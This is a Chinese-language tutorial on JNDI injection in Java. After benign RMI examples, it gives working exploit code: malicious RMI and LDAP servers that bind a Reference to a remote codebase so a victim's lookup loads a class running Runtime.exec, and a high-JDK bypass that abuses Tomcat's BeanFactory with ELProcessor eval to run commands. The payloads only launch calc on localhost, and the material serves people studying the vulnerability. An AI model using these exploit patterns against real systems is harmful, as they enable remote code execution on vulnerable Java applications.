JNDI与RMI、LDAP的关系
JNDI (Java Naming and Directory Interface):是一个接口,一个统一的查询标准,本身不提供服务,只提供一套标准的API来查找东西
RMI (Remote Method Invocation) 和 LDAP (Lightweight Directory Access Protocol):是具体的服务,是两种不同类型的实现。它们是真正存储信息、提供对象的地方
RMI 实现
远程接口 IRmoteObj.java:
import java.rmi.Remote;
import java.rmi.RemoteException;
public interface IRmoteObj extends Remote {
String sayHello(String name) throws RemoteException;
}
服务器对象实现 RmoteObjImpl.java:
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
public class RmoteObjImpl extends UnicastRemoteObject implements IRmoteObj{
public RmoteObjImpl() throws RemoteException {
super();
}
@Override
public String sayHello(String name) throws RemoteException {
System.out.println("sayHello");
return name;
}
}
服务器注册和绑定 RMIServer.java:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) throws Exception {
RmoteObjImpl remoteObj = new RmoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("remoteObj", remoteObj);
}
}
客户端查找和调用 RMIClient.java:
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRmoteObj remoteObj = (IRmoteObj) registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
JNDI RMI 实现
JNDIRMIServer.java:
import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
RmoteObjImpl remoteObj = new RmoteObjImpl();
InitialContext initialContext = new InitialContext();
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", remoteObj);
}
}
JNDIRMIClinet.java:
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String args[]) throws Exception {
InitialContext initialContext = new InitialContext();
IRmoteObj remoteObj = (IRmoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}
JNDI RMI 注入
攻击者在自己服务器上构造恶意的JNDI RMI服务,JNDIRMIServer.java:
import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
public class JNDIRMIServer {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
// RmoteObjImpl remoteObj = new RmoteObjImpl();
InitialContext initialContext = new InitialContext();
// initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", remoteObj);
Reference refObj = new Reference("CalcRef", "CalcRef", "http://127.0.0.1:1088/");
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", refObj);
}
}
CalcRef.java:
import java.io.IOException;
public class CalcRef {
public CalcRef() throws IOException {
Runtime.getRuntime().exec("calc");
}
}
同时要求JNDIRMIClient端lookup参数可控,JNDIRMIClient.java:
import javax.naming.InitialContext;
public class JNDIRMIClient {
public static void main(String args[]) throws Exception {
InitialContext initialContext = new InitialContext();
IRmoteObj remoteObj = (IRmoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj"); // 此处应是攻击者ip
System.out.println(remoteObj.sayHello("hello"));
}
}
Java 8u121+ (包括 Java 9, 11, 17, 21 等): Oracle 引入了安全补丁,将 com.sun.jndi.rmi.object.trustURLCodebase 默认设置为 false。这直接阻止了 JVM 从 Codebase URL 加载远程类,使 RMI 协议的 JNDI 注入几乎无法利用
JNDI LADP 注入
import javax.naming.InitialContext;
import javax.naming.Reference;
public class JNDILDAPServer {
public static void main(String[] args) throws Exception {
Reference refObj = new Reference("CalcRef", "CalcRef", "http://127.0.0.1:1088/");
InitialContext initialContext = new InitialContext();
initialContext.rebind("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com", refObj);
}
}
import javax.naming.InitialContext;
public class JNDILDAPClient {
public static void main(String[] args) throws Exception {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://127.0.0.1:10389/cn=test,dc=example,dc=com");
}
}
JNDI jdk高版本注入
需要添加tomcat相关依赖,pom.xml:
<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.tomcat.embed/tomcat-embed-core -->
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>8.5.71</version>
</dependency>
<dependency>
<groupId>javax.el</groupId>
<artifactId>javax.el-api</artifactId>
<version>3.0.0</version>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
<version>3.0.0</version>
</dependency>
</dependencies>
JNDIRMIServerHighBypass.java:
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
public class JNDIRMIServerHighBypass {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj", resourceRef);
}
}